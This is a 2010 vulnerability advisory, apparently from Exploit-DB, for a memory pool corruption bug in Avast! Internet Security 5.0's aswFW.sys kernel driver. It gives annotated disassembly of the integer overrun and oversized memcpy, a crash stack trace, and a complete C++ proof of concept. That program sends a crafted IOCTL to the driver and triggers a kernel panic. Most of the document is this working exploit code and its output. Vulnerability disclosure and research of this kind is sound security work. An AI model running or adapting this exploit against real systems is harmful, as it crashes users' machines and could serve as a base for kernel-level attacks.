Avast! Internet Security 5.0 – ‘aswFW.sys’ Kernel Driver IOCTL Memory Pool Corruption

  • 作者: x90c
    日期: 2010-08-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14533/
  • +-------------------------------------------------------------------------------------+
    | Avast! Internet Security 5.0 'aswFW.sys' kernel driver IOCTL Memory Pool Corruption |
    +-------------------------------------------------------------------------------------+
    
    Tested Platform: Avast! Internet Security 5.0 ( Korean Trial )
    Affacted File info: 'aswFW.sys' 5.0.594.0
    Type: Local
    Impact: Denial Of Service ( kernel panic )
    Vendor: http://www.avast.com
    Author: x90c of InetCop Security ( x90c.org, geinblues@gmail.com )
    
    ======================
    Vulnerability Summary:
    ======================
    The IOCTL call 0x829C0964(IOCTL_ASWFW_COMM_PIDINFO_RESULTS) of 'aswFW.sys' kernel driver 
    Shiped with 'Avast! Internet Security 5.0' uses the user controlled First 4 bytes value 
    To allocate a NonPagedPool without any value range checking then an integer overrun occurs.
    
    If 'aswFW.sys' received a first 4 bytes about to '0xFFFFFFFF' with an Irp then an invalid 
    Sized Memory Pool allocated.
    
    After the invalid allocation, the kernel driver copys user controlled buffer into 
    '[allocated pool+84h]' with too large copy length '0FFFFFFFFh' then the Memory Pool corrupted.
    
    =================
    Technical Detail:
    =================
    .text:000114B0 ; int __stdcall sub_114B0(int, PIRP Irp)
    [...]
    .text:00011529mov edi, [ebp+Irp] ; edi = Irp
    [...]
    .text:000115A9mov edi, [edi+0Ch] ; edi = [edi+0Ch] ( User Controlled Buffer of Irp )
    [...]
    .text:000115CFsub eax, 0Ch
    .text:000115D2jz short to_IOCTL_Request ; jump into (1)
    [...]
    .text:00011626 to_IOCTL_Request: ; <-- (1)
    .text:00011626mov eax, [ebx+0Ch] ; eax = IOCTL Code
    [...]
    .text:00011629cmp eax, edx
    .text:0001162Bjz to_ioctl_code_829C0964h ; IOCTL Code == 829C0964h ? jump into (2)
    [...]
    .text:000116BA to_ioctl_code_829C0964h: ; <-- (2)
    .text:000116BAcall sub_18D68 ; returned 0.
    .text:000116BFtest eax, eax
    .text:000116C1jz short loc_116E3 ; jump into (3)
    [...]
    .text:000116E3 loc_116E3: ; <-- (3)
    [...]
    .text:000116FCpush dword ptr [edi] ; [edi] = 0FFFFFFFF ( User Controlled Buffer of Irp )
    .text:000116FEpush 0
    .text:00011700call NonPagedPool_alloc_1AB32 ; call (4) 
    ; kd> bl
    						; 0 e b2d36700 0001 (0001) aswFW+0x1700
    [...]
    ==============================================================================================
    .text:0001AB32 NonPagedPool_alloc_1AB32 proc near ; <-- (4)
    [...]
    .text:0001AB37mov eax, [ebp+0Ch] ; eax = 0FFFFFFFFh ( Second param )
    .text:0001AB3Apush ebx
    .text:0001AB3Bpush 74527741h ; Tag
    .text:0001AB40add eax, 88h ; 0FFFFFFFFh + 88h ( 0x87, result of Integer Overrun )
    .text:0001AB45push eax ; Size to allocate ( 0x87 )
    .text:0001AB46push 0 ; PoolType ( 0 = NonPagedPool )
    .text:0001AB48call ds:ExAllocatePoolWithTag ; Invalid Memory Pool allocated.
    .text:0001AB4Emov ebx, eax ; ebx = eax
    [...]
    .text:0001AB7Fmov eax, ebx
    .text:0001AB83retn 8 ; return with an Invalid Memory Pool. return into (5)
    ==============================================================================================
     
    // Integer Overrun.
    _87bytes_NonPagedPool = ExAllocatePoolWithTag(0, 0xFFFFFFFF + 0x88, 0x74527741); 
    
    .text:000116E3 loc_116E3:
    [...]
    .text:00011705mov esi, eax ; <-- (5) esi = eax = Invalid Memory Pool.
    .text:00011707test esi, esi
    .text:00011709jz to_Epilog ; esi == 0 ?
    [...]
    .text:00011727push dword ptr [edi] ; copy size == 0FFFFFFFFh ( too large )
    .text:00011729lea eax, [esi+84h] ; eax = [esi+84h] == [Invalid Memory Pool Allocated + 84h]
    .text:0001172Fpush edi ; src == User Controlled Buffer of Irp ( FFFFFFFF ... )
    .text:00011730push eax ; dest == eax
    .text:00011731call memcpy ; Memory Corruption Occurs.
    
    // Memory Pool Corruption.
    memcpy((_87bytes_NonPagedPool+0x84), User Controlled Buffer of Irp, 0xFFFFFFFF);
    
    =================
    Proof of Concept:
    =================
    
    [ avast_5.0_aswFW_poc.cpp ] --
    #include "stdafx.h"
    #include "windows.h"
    #include "winioctl.h"
    #include "stdio.h"
    
    int main(void)
    {
    HANDLE hFile = NULL;
    ULONG ioctl_code = 0;
    CHAR outBuf[32];
    CHAR rpt_inBuf[102400];
    DWORD dwRet = 0, ret = 0;
    
    hFile = CreateFile("\\\\.\\aswFW", FILE_SHARE_READ | FILE_SHARE_WRITE,
     0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
     NULL);
    if(hFile == INVALID_HANDLE_VALUE){
    fprintf(stderr, "failed to open 'aswFW.sys' kernel driver!\n");
    	return(-1);
    } 
    
    rpt_inBuf[0] = '\xff'; // first 4 byte wiil uses calculate 
    rpt_inBuf[1] = '\xff'; // allication size of ExAllocatePoolWithTag.
    rpt_inBuf[2] = '\xff'; // and it is [Irp+0Ch] as User Controlled Buffer.
    rpt_inBuf[3] = '\xff';
    memset((rpt_inBuf+4), 0xff, 102394);
    
    // IOCTL Code = 0x829C0964 ( IOCTL_ASWFW_COMM_PIDINFO_RESULTS )
    // ( another IOCTL Code also vulnerable )
    ret = DeviceIoControl(hFile, 0x829C0964,
    (PVOID)rpt_inBuf, 102398, outBuf, 32, &dwRet, NULL); 
    
    return 0;
    }
    // -- eoc --
    
    ===============
    Exploitability:
    ===============
    It's hard to exploit because 'too large copy length'. I saw *once eip register pointers 
    At 0x1000 but the controlling eip register is not consistent. ( DoS )
    --
    STACK_TEXT:
    f8ac5944 804f9bad 00000003 f8ac5ca0 00000000 nt!RtlpBreakWithStatusInstruction
    f8ac5990 804fa79a 00000003 00001000 00001000 nt!KiBugCheckDebugBreak+0x19
    f8ac5d70 805426bb 0000000a 00001000 00000009 nt!KeBugCheck2+0x574
    f8ac5d70 00001000 0000000a 00001000 00000009 nt!KiTrap0E+0x233
    WARNING: Frame IP not in any known module. Following frames may be wrong.
    f8ac5e00 f871bf6c 00000001 00000200 0000011c 0x1000
    f8ac5e58 8054357d 81d6fd98 81e72af8 00010009 i8042prt!I8042KeyboardInterruptService+0x100
    f8ac5e58 804fcd56 81d6fd98 81e72af8 00010009 nt!KiInterruptDispatch+0x3d
    f8ac5f00 f8502ab6 81da5b60 0006bd78 81da5bb8 nt!KeRemoveByKeyDeviceQueue+0x2e
    f8ac5f20 f850423b 81daa0e8 81da5bb8 81da5c60 atapi!GetNextLuRequest+0x7c
    f8ac5f54 f8504c8e 81df7e70 81da5c60 f8ac5fcf atapi!IdeProcessCompletedRequest+0x1a3
    f8ac5fd0 80543bbd 81daa0a4 81daa030 00000000 atapi!IdePortCompletionDpc+0x204
    f8ac5ff4 8054388a b20e7b44 00000000 00000000 nt!KiRetireDpcList+0x46
    f8ac5ff8 b20e7b44 00000000 00000000 00000000 nt!KiDispatchInterrupt+0x2a
    8054388a 00000000 00000009 bb835675 00000128 0xb20e7b44
    --
    
    =========
    Solution:
    =========
    Not yet.
    
    ==============
    Vendor Status:
    ==============
    2010/08/02 - Vendor notified.
    2010/08/03 - Public Disclosed.